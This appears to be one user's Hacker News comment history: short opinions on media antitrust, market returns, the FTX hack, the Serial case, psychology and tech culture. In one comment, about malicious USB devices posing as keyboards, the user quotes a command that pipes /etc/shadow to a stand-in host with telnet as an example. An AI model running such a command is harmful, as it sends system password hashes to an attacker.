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by verteu 4y ago
No. I'm worried competition/antitrust will suffer when a small number of dominant media companies are run by close relatives.
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by verteu 4y ago
> Cynically most of these organizations are too dysfunctional to pull something like that off even if they wanted to. A moment's research shows this to be false -- eg https://en.wikipedia.org/wiki/Pentagon_milit
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by verteu 4y ago
Would you really want Twitter run by Sergei Brin's sister-in-law?
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by verteu 4y ago
Not likely. The pattern holds for suicide rates, which are not very affected by ACA "more cogent detection systems."
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by verteu 4y ago
It was a counterpoint to the common wisdom that "stock returns beat inflation over long-term periods." But I didn't realize the author discarded dividends -- that makes the entire analysis suspect.
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by verteu 4y ago
The article provides a counterpoint: If you invested in "the market" in 1851, you'd still be underwater (in real terms) in 1932. See page 44.
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by verteu 4y ago
Much more than 10% of SF by population -- those neighborhoods are where the most people live: https://www.reddit.com/r/sanfrancisco/comments/vtoqd7/oc_san...
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by verteu 4y ago
There was definitely a hack (perhaps in addition to government action). The FTX holdings database was wiped, and malware was hosted on their website and mobile apps: https://www.coindesk.com/business/2022/11/1
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by verteu 4y ago
Agreed, it's possible. Though we'd also need to explain why Jay is still sticking to a made-up "I buried a murdered woman" story decades later. And find the "real killer" who happened to murder Hae the same day
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by verteu 4y ago
We can't just disregard Jay's testimony -- he led police to Hae's car. He discusses some inconsistencies here: https://theintercept.com/2014/12/29/exclusive-interview-jay-... Edit: A Reddit com
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by verteu 4y ago
I think it's "Facebook/Google/Netflix."
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by verteu 4y ago
Have you tried Upwork/Fiverr/Behance/Dribbble? In my experience you can get decent art for quite cheap.
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by verteu 5y ago
According to one study, if you're 50/50 on quitting, you'll end up significantly happier if you quit: https://www.gwern.net/docs/psychology/2020-levitt.pdf (p18, Table 5). Research on psychology (lo
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by verteu 6y ago
Some basic research on "hormones and personality" or "empathising–systemising" will lead you to relevant works, such as: "Results provide strong support for hormonal influences on interest in occupations characteriz
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by verteu 6y ago
Her actual complaint about the data [1]: Now a private citizen, Jones continues to take issue with the way the state is calculating its coronavirus positivity rate. The official Florida site says there are more than 1.3 million "to
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by verteu 6y ago
My understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard. In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...
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by verteu 6y ago
Will SWEs be cut? Or is this primarily because their "Virtual First policy means they require fewer [people] to support their in-office environment"?
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by verteu 7y ago
Any Youtube instructors you'd recommend?
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by verteu 7y ago
As the acronym implies, a "social justice warrior" is someone who fights for social justice. Hiring journalists with a strong homogenous political agenda is a poor way to produce neutral, fact-based reporting.
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by verteu 7y ago
No more than blackface "normalized" African-American culture.
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by verteu 8y ago
It is lazy sexism because engineers are nothing like the "bro" subculture. From the article you linked: > "The subculture is not defined consistently or concretely, but refers to a type of "fratty masculinity" En
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by verteu 8y ago
> Bro culture is a deep-seated problem in tech In engineering? Could you elaborate a bit more? I've worked in SV tech for a decade and every large company was about 50% nerdy white engineers and 40% quiet Asians.
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by verteu 8y ago
Sounds like that bizarre "brogrammer" archetype that journalists claimed represented Silicon Valley engineers. I'd imagine high-growth startups hire many low-experience SDRs like the ones described in the article -- is it pos
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by verteu 8y ago
Build core strength while avoiding spinal flexion as explained in Stuart McGill's book "Back Mechanic".
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by verteu 9y ago
Please do a cursory amount of research before attempting to speak like an authority. Far from "decades-debunked", a 2018 analysis in the Archives of Scientific Psychology found that the book "stand[s] up well to the test of t
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by verteu 9y ago
Indeed -- it's become fashionable to replace tests of critical thinking with tests of rote regurgitation, since the former are "biased" towards students with wealthy or intellectual parents. I'm skeptical this is good id
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by verteu 9y ago
Is there a tool to check if my social graph data was scraped by the Obama campaign? Or is this only a scandal when it helps Republicans? [1] https://twitter.com/cld276/status/975568130117459975 [2] http:/&#x
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by verteu 9y ago
I don't quite grok your example, as I don't feel piano is any easier than guitar. However, it's often far simpler to transition from a more rigorous pursuit to an 'easier' one. For this reason it could be logical to
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by verteu 9y ago
According to [1], obesity classified by DEXA scan agrees with obesity classified by BMI 82% of the time. Not bad for a metric that can be easily computed at home. https://www.nytimes.com/interactive/projects/cp&#x2
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by verteu 9y ago
As someone in a similar situation, how were you able to get rid of it?

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